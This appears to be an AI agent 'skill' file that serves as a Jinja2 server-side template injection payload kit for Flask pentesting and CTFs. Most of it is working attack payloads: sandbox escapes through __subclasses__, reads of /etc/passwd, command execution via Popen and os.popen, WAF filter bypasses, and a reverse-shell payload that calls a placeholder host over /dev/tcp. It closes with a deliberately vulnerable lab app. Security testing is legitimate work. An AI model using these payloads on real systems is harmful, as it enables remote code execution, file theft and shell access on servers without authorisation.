| name | jinja2-ssti |
| description | Generate Jinja2 Server-Side Template Injection (SSTI) payloads and bypass techniques for web application security testing. Use this skill whenever you need to test for template injection vulnerabilities in Flask/Jinja2 applications, generate RCE payloads, bypass WAF filters, or enumerate template sandbox escapes. Trigger this skill for any web pentesting task involving Python templating engines, Flask applications, or when you suspect SSTI vulnerabilities. |
Jinja2 SSTI Testing Skill
A comprehensive guide for testing Jinja2 Server-Side Template Injection vulnerabilities in web applications.
When to Use This Skill
Use this skill when:
- Testing Flask applications for template injection vulnerabilities
- Needing to generate SSTI payloads for security assessments
- Attempting to escape Jinja2 sandbox restrictions
- Bypassing WAF filters on template injection points
- Enumerating available objects in a template context
- Converting SSTI to RCE (Remote Code Execution)
Quick Start
1. Identify SSTI Vulnerability
Test for SSTI with basic payloads:
{{7*7}}
{{7*7}}
{{config}}
{{request}}
{% debug %}
If the application renders these as 49 or shows object data, SSTI is likely present.
2. Access Global Objects
These objects are always accessible from the sandboxed environment:
[]
''
()
dict
config
request
3. Escape the Sandbox
Recover <class 'object'> to access __subclasses__():
[].__class__
''.__class__
request.__class__
config.__class__
dict
dict.__base__
dict.mro()[-1]
(dict|attr("__mro__"))[-1]
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("__subclasses__"))() }}
4. Read Files
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/flag.txt').read() }}
5. Execute Commands (RCE)
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'" ).read()}}{%endif%}{% endfor %}
Filter Bypasses
Access Attributes Without Special Characters
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join)
request|attr(request.headers.c)
request|attr(request.args.c)
request|attr(request.query_string[2:16].decode())
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
Avoid HTML Encoding
{{'<script>alert(1);</script>'}}
{{'<script>alert(1);</script>'|safe}}
RCE Without <class 'object'>
Access __globals__.__builtins__ from function objects:
{{ request.__class__.__dict__ }}
{{ config.__class__.__dict__ }}
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
Advanced Bypasses
Without {{ . [ ] }} _
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
Evil Config File Technique
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Testing Workflow
- Detection: Test with
{{7*7}} or {% debug %}
- Enumeration: Dump
{{ config }} or {% for key, value in config.items() %}{{ key }}: {{ value }}{% endfor %}
- Sandbox Escape: Use
__class__.__mro__[-1].__subclasses__()
- File Access: Find File class (index ~40) and read/write
- RCE: Find subprocess.Popen (index ~396) or use
__builtins__
- Bypass: Apply filter bypasses if WAF is present
Tools
References
Lab Environment
Test your payloads against this vulnerable Flask app:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send something inside the param 'c'!"
if __name__ == "__main__":
app.run()
Run locally and test: curl "http://localhost:5000/?c={{7*7}}"